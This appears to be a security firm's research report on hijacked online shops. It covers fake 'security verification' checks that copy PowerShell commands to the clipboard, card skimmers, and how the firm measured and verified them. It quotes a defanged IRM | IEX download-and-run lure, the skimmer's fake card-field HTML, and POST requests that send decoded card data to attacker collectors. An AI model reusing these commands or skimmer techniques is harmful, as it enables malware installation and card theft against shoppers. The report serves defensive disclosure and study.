CartJacked
One in 195 Online Shops We Scanned Was Hijacked. A Month Later, Most Still Were.

Guardio sells consumer security software. Nothing in this article requires buying anything, ours or anyone else’s. Data as of October 31, 2026.

One shop, end to end

On October 30 our cloud browser opened an online shop the way a Windows shopper does, arriving from a Google search. The page went white. In its place came “Performing security verification,” the shop’s own name in large type, a checkbox and, after one click, four steps: press the Windows key and X, press I, press Ctrl and V, press Enter.

Those keys open PowerShell, Windows’ command window, paste in a line the page had just copied to the clipboard, and run it. We didn’t press them. Instead we downloaded what the line downloads, one step at a time, and ran none of it.

A shop’s cart page replaced by a fake security check, and the command it copied

.com/cart/

What the page put on the clipboard, October 30

IRM fastly.jsdelivr[.]net/g"h"/Katy7684/76-51fd-…/90b-… | IEX

1

Windows + X, then I opens PowerShell from the power-user menu, a route that skips the Run box some companies lock down.

2

IRM … | IEX downloads a script and runs it. PowerShell drops the quotes in g"h", so the address reads /gh/: a GitHub account served through jsDelivr, a free network for open-source code that firewalls rarely block. Splitting the letters keeps a text filter from seeing the address whole.

The attackers changed that line within a day. On October 29 the same fake check, on the same shop, pointed at a GitHub account named sdedyk172. By the 30th that account was gone, and the check handed out a new one, Katy7684, opened the evening before. The shop itself did not need to change: its planted code fetches the fake check from outside on every visit, so one change upstream re-arms every shop that carries it.

That was one shop. We did the same for every hijacked shop we could find.

How we looked

Each look catches something the one before it cannot see.

The first reading was done by AI. Jev, a judgment model made by TypeSafe, read every piece of code in every store, then gave each flagged store an overall verdict. AI gets things wrong, so separate AI reviewers, sealed off from our answers and notes, re-checked samples of every kind of verdict, and every estimate here is corrected for the error rates they measured. The attacks we saw ourselves were then reviewed one by one. How we checked has both.

One shop in 195

About 12,200 of the 2,379,169 online stores in October’s copy were hijacked: real shops carrying code or content their owners did not put there, such as hidden pages of casino links or a fake “I’m not a robot” check. That is one in 195. September, measured the same way, had about 15,100, one in 156.

Most of the drop is one kit (the same attack code, planted on many shops) that sells the visitors of the shops it infects to other sites; the independent threat tracker Ohey calls it LA02. A fixed string in its code turned up on 2,995 September shops and on 641 October shops. Leave that kit out, and our pipeline’s counts for the two months are within 4.5% of each other.

Hijacked shops stay hijacked

Common Crawl samples a different slice of the web each month, but it saw more than half of September’s hijacked shops again in October. 62% of those were still hijacked.

It isn’t one stubborn kit. Many kits carry a fixed string in their code that survives every rebuild, so we looked for each one in both months. Apart from the resale kit, every malicious kit we could follow on at least 25 shops kept at least half of them, most two-thirds or more.

What attackers do with a shop

Breaking in is the first step. What the attackers do next decides who pays. Each hijacked shop serves one main scheme, and three of the five go straight after the people who shop there: their money, their computer or their card.

In a month, selling visits halved, nearly all of it the resale kit. The fake checks, the scheme that goes after a shopper’s own computer, held roughly level: about 850 shops in September and 900 in October.

Self-hosted shops get hit most

Shops that run their own copy of the shop software, such as WooCommerce, Magento or OpenCart, were hijacked far more often than Shopify shops. In October, 7.0 to 8.1 of every 1,000 self-hosted shops were hijacked, against 0.75 to 2.2 on Shopify. The low ends count only the shops our pipeline classified as hijacked; the high ends are the full estimate. Low end against low end, that is about 9 times as often; high end against high end, about 4 times. Hosted shops are not immune: their themes, apps and admin accounts can be hijacked too.

Weeks later, still there

A count doesn’t show the attack. So from October 29 to 31, our sandboxed cloud browser went back to nearly every shop we had classified as hijacked, in both crawls, as a Windows shopper arriving from a Google search. Recorders loaded before each page’s own code logged every script it decoded, every blockchain call, every live connection and everything it put on the clipboard. We scored each shop by the furthest step of the attack we saw:

The attack code is often still there: 28% of the October shops we visited still served it. Few showed us the attack itself, because the kits wait for a real person: 2,706 shops contacted the attackers’ servers or smart contracts while we watched, and 237 handed over the payload. Going back to 1,123 quiet shops of the fake-check and blockchain kits, staying longer and clicking later, turned up 2 more. What a cloud browser sees is a floor.

What the attacks did to our browser

237 October shops showed us the attack itself, in four forms. Some showed more than one.

We followed every command. The commands fall into ten templates. We fetched what each one fetches, once, with exactly the request the command makes, and decoded every stage with our own scripts. Nothing was run.

Six of the ten were already dead: a GitHub account deleted, a jsDelivr account blocked, three domains put on hold, and the subdomains of a sixth no longer resolving. The shops kept handing out five of them anyway, some for weeks. A takedown protects the visitor who pastes; it does not clean the shop, and the kit only has to change one address to re-arm every shop it is on.

Code on request. Some kits keep a live line open to their server, through a WebSocket or WebRTC connection (the browser feature behind video calls), and run whatever code comes down it. On 59 of those 81 shops, we matched the code the page ran to the message the server had just sent:

At the checkout

Card skimmers wait for the one page a visit rarely reaches: the payment form. 215 October shops ran code we classified as a card skimmer, and 123 still served it at the end of October. On a shop in the UK, our cloud browser found the payment provider’s secure card frame still in the page but switched off, with three boxes drawn by the kit in its place.

A real checkout. The card fields are fake.

.com/checkout/

What you seeX-ray

wss://pixelhaimer[.]top/custom-ws · open

← Drag across the page to X-ray it

1

The real card form is still there, hidden. Stripe draws its fields inside its own secure frame, so neither the shop’s page nor anything injected into it can read the number. The kit switched that frame off.

<div class="wc-stripe-upe-element StripeElement" … data-gw-replaced-simple="true" style="display: none;">

2

These three fields are the skimmer’s. They are ordinary inputs in the page itself, where its script can read every keystroke.

<input type="text" id="cardNum" maxlength="19" name="cardNum" placeholder="1234 1234 1234 1234" …> <input type="text" id="exp" name="exp" maxlength="5" placeholder="MM / YY" …> <input type="text" id="cvv" name="cvc" placeholder="CVC" …>

3

A line to the attacker stays open. 1.2 seconds after the checkout loaded, the kit opened a WebSocket to its server, which answered “1” every three seconds for as long as we stayed.

To see what the code does with a card, we gave every skimmer shop a checkout of its own: its archived page, in a sealed browser with no network. We typed a published test card number, 4111 1111 1111 1111, key by key, pressed the order button and decoded everything the page tried to send.

The code of 63 October shops took the card (88 in September). On 45 it went straight out; on 18 the kit hid it in a cookie or the browser’s storage for a later request to collect. These are minimums: many skimmers load their card code from another server at the checkout, and the archive does not keep those files.

The busiest kit builds a separate skimmer for every shop. It grew from 42 shops in September to 64 in October. The archive keeps only its loader, so we could test it only where our live visits had captured a shop’s build: 20 shops, 19 of which sent our test card. That is why the table below credits it with only 17 October shops.

One kit, a build for every shop: the fake form, and what it sent

sealed sandbox · one shop’s build

What it posted, twice (one collector each)

POST zendlock[.]shop/g.php
POST ledon[.]pics/g.php

d=eyJ1IjoiaHR0cHM6Ly9zaG9wLmV4YW1wbGUvY2hlY2tvdXQvIiwiZiI6W3sibiI6InBheW1lbnRbY2NfbnVtYmVyXS…
 &m=1&p=1

→

The same, decoded

{"u":"https://shop.example/checkout/",
 "f":[{"n":"payment[cc_number]",
       "v":"4111 1111 1111 1111"},
      {"n":"payment[date]","v":"12 / 29"},
      {"n":"payment[cc_cid]","v":"123"},
      {"n":"billing_first_name","v":"Test"},
      … every other field on the page]}

1

Made for one shop. Each build names the payment method it replaces, often a local bank or payment gateway, on most shops a list of WooCommerce’s usual ones. It clicks that method and draws its own card form there, in the shop’s language (4 so far), with its own pair of collectors (4 pairs).

2

It knows where the checkout is. The generic build carries 66 words for it in more than 20 languages, from kassa and afrekenen to odeme and pokladna; a few of them also match product and booking pages.

3

Some builds hide from the owner. On a browser carrying WordPress’s logged-in cookie they draw nothing, so an administrator testing the checkout finds nothing.

4

It does not wait for the order. Once the card number looks valid and the date and code are filled in, it sends them, with every other field on the page, to both of its collectors, the servers that receive the stolen data.

The other kits that took the card, from the same run:

None of it shows on screen, and the payment providers were not breached: the kits work around them, in the shop’s own page. And skimmers stay, too. Of the 164 September skimmer shops the October crawl fetched again, 118 still carried skimmer code.

One browser defense can stop code like this: a Content Security Policy, a header that tells the browser which scripts a page may run. On the page the crawler saved for each October skimmer shop, usually a product or cart page rather than the checkout, 129 of 214 sent no policy, and all 7 that limited scripts still allowed scripts written into the page itself, where this code sits. (A checkout can carry a stricter policy than the rest of a shop.)

Why the owners don’t know

Before they act, most kits ask one question: is this a real shopper?

They skip automated browsers and virtual machines. Some wait for a mouse, a first visit or a visitor from a search; some act only on Windows, or only on a phone; the blockchain kits record on the chain who has already seen the lure. So owners checking their own shop, site-health tools and security scanners often see a clean page.

We did not study how the attackers got in; nothing here is a flaw we found in WooCommerce, Shopify or the other platforms.

Before Black Friday

Black Friday is November 27. A hijacked shop looks like any other, so the defense is in how you pay and what you are willing to paste.

Questions we expect

How we checked

The estimates. Almost every verdict behind the counts was made by AI: Jev reading code, pages and stores, and Claude agents reviewing what it flagged. So we measured how often each kind of verdict was right, crawl by crawl. The samples behind every weight that moves the estimates, 1,016 cases, went to sealed reviewers: Claude sessions that saw only the archived page and could reach nothing of ours, not our code, notes or verdicts (1,011 got a verdict). The shares they found right are the weights behind the estimates; four small page classes keep their earlier blind shares.

The checkers held up. The sealed reviewers agreed with an earlier, less isolated round of AI reviewers on 935 of 973 judgments and with themselves on 58 of 58 stores judged twice; in a last sealed pass they called none of 60 control shops judged clean twice malicious, and confirmed 49 of 50 judged hijacked twice.

The attacks we show. Every attack this article counts as seen was then checked case by case: the 381 shops whose live visits showed the attack, the 183 sealed checkout runs in which the code took the card (155 shops), the ten command chains and the 37 kits we had named. A separate model, Claude Mythos, sealed off like the reviewers above, read each case’s evidence (screenshots, clipboard text, pushed code, the decoded card, each stage of the commands) and called 542 of the 611 attacks with certainty. One of our researchers then reviewed the other 69 and a random 150 of the 542, with Mythos’s verdict and reasons in view. Ten did not hold up: four shops’ live visits and five checkout runs, left out of every count in this article; one kit we no longer name (its shops stay in the estimate at the rate measured for their kind of verdict). The random 150 held no errors, which puts the share of wrong cases among the attacks we show below 2% (95% confidence).

Prior work and credits

This census builds on the work of researchers who documented these kits one operation at a time: Randy McEoin, who named ClearFake, and Ohey, Censys and LevelBlue, who followed its contracts; Sekoia, eSentire, LevelBlue, Ohey and Hudson Rock on ErrTraffic and its blockchain loaders; Lab539 and Ohey on GzipGnaw, and Ohey on the LA02 resale kit; Confiant on HexMage; Sansec, Source Defense, Report URI and Netskope on WebRTC skimmers; Scott Helme and Sucuri on WebSocket skimmers; Expel and Microsoft on cache smuggling; and our own 2023 work on EtherHiding. Truffle Security showed in 2025 that Common Crawl works as a security lens. What this study adds is the denominator, measured the same way twice, and the chain: for each hijacked shop, how far its attack still went when we came back.

Method, limits and data

Sources. Common Crawl CC-MAIN-2026-39 (collected September 4 to 17, 2026) and CC-MAIN-2026-43 (October 5 to 18, 2026). Store pages were selected by address shape and platform fingerprints, one page per store: 2,357,138 and 2,379,169 stores; 1,345,376 are in both, 182,676 of them at the same address.

One pipeline. Both crawls went through the same code on the same machines. Jev, one pinned version, answered the same questions about every piece of code, host, page and hidden block (once per distinct piece, with a disagreement check between copies), and a rule set combined the answers with per-store facts into 72,115 and 60,618 flagged stores. Hidden scripts ran in a sealed fake browser with no network. One frozen ledger of reviewed verdicts decided stores in both crawls: a verdict on code, a host or a kit carries over between crawls, one on a store or a live visit does not. Jev then scored each flagged store from all of its evidence: 0.9 or above became “classified as hijacked,” 0.2 or below “clean,” the rest undecided.

The estimate. Two counts run through this article. Classified as hijacked is what our pipeline called hijacked: 13,102 shops in October. The estimate counts each kind of verdict at the share of malicious stores sealed reviewers found in a sample of it, per crawl where we have one: reviewed code or a named kit (September 59 of 60, October 59 of 60), Jev’s store verdicts by attack type, undecided stores by Jev’s score, and the page classes; Jev’s miss rate at 0.2 or below (4 of 178) and the small page classes come from October and serve both. Intervals come from 4,000 draws of every share from its Beta posterior. The samples were first judged by Claude agents shown only the evidence our scanner flagged, never our verdict, though they could read our write-ups of known kits; every sample behind a weight that moves the estimates was then judged again by sealed reviewers (the four small page classes, under 70 stores a crawl, keep their first-round shares), with the first round’s definitions where the two differed: a parked or for-sale page counts as a repurposed domain only when it redirects. Undecided stores whose only evidence was a hosting provider’s robot test (7,939 in September, 639 in October) count as clean; none of the 25 sampled was malicious, but up to about one in eight could be, and the intervals do not carry that. Most of Jev’s scam-page verdicts were whole pages replaced by gambling or adult doorways, which we count as domains that now serve something else; counted as hijacked shops instead, October would have one in 189 and September one in 153.

Platforms. The low end of each range counts only the shops classified as hijacked on that platform, each at its verdict kind’s measured share; the high end runs the full estimate on the platform’s stores. Neither the shares nor the undecided stores’ rates were measured platform by platform. Ratios compare low end with low end and high end with high end.

Live checks. From October 29 to 31 our sandboxed cloud browser visited the hijacked shops of both crawls as a Windows shopper from a Google search, with a screenshot; fake-check kits again with an AI agent clicking the checkbox; quiet fake-check and blockchain shops again with a longer stay and a later click; slow kits for longer, Mac and phone kits as a Mac or an Android phone, and skimmer kits through their checkout with a published test card, never submitting. Recorders loaded before the page’s own code logged decoded scripts, blockchain calls, WebSocket and WebRTC traffic and clipboard writes. A shop counts as served when strings or hosts of its own archived attack appear in the live page or traffic, and as reached when it contacted a blockchain node (for kits that read the chain), a WebSocket or WebRTC endpoint that is one of its attack hosts or that at most 50 stores in the crawl load openly, or one of its own sandbox destinations. Reviewers re-reading the evidence of 60 shops per crawl, without our call, confirmed 54 of 57 October and 54 of 54 September “served” calls they could decide, and 25 of 26 and 23 of 23 “reached” calls.

Checkout in a sealed browser. On November 1 every shop of either crawl classified as carrying a card skimmer (250 and 215) went through a sealed checkout: its archived page, fetched again from Common Crawl and checked against the page we had scanned, at the shop’s own checkout address, with a checkout form for its platform (a WooCommerce or Magento form for the 27 Shopify and 3 BigCommerce shops, which their kits may not expect) and a payment method for anything the page’s own code looked for; the 64 skimmer stages our live visits had captured ran the same way. Headless Chromium had no network interface; every request was answered locally, and WebSocket, WebRTC and beacons never connected. The test card (4111 1111 1111 1111, 12/29, 123) and a made-up name and address were typed key by key, the order button pressed and 30 seconds let run. Every request, cookie and storage write was searched for the card through URL, base64, hex, JSON, LZString, character-code, reversed, shifted and single-byte XOR decodings; a form posting to the shop itself does not count. Ten of the 529 runs timed out and count as quiet. Security headers come from each skimmer shop’s archived record, rarely its checkout (214 of 215 October records readable); a policy limits scripts when it has a script-src or default-src rule, and 19 shops sent only a report-only policy, which blocks nothing.

Review of the attacks we show. The 611 cases (a shop in both crawls’ live visits counts once; a checkout run is one archived page or one captured skimmer stage) went to Claude Mythos (claude-mythos-5-1, high effort) in sealed folders of 20, with random case names and no verdict of ours; for each it wrote a verdict, whether it was certain, and its reasons. The researcher’s random sample was drawn with a fixed seed from the cases it called attacks with certainty; the bound is the one-sided 95% Clopper–Pearson bound for 0 errors in 150.

Limits. The archive scan reads only code written into the page, not external script files, which Common Crawl rarely archives. The estimates and the live observations are minimums. Live states are one-shot and come from a cloud browser in a data center; kits that gate on a visitor’s address, a real user or a repeat visit show less than they would to a shopper. September’s shops were visited six to eight weeks after their crawl, October’s 11 to 26 days after, so their live rates are not comparable. Categories are one per store. Common Crawl’s monthly sample is not every online store: it favors sites that are linked to and easy to crawl, so the rates describe the stores in its sample.

Ethics. Attacker code from the archive ran only in sealed sandboxes with no network. Our live visits loaded the real shops in a sandboxed cloud browser, where their planted code ran as it would for any visitor; an AI agent clicked fake checks and typed a published test card number that no bank issues, without paying. Command stages were fetched once each and never executed; programs were hashed in memory and not kept. We do not name the stores.

Conflict of interest. Guardio sells consumer security software. Its cloud browser was used for the live checks; no Guardio customer data was used in this study.

Data. The aggregate tables behind every chart and the scripts that produced every number are available to researchers and defenders on request. Per-store records are not published.

Selected indicators (defanged)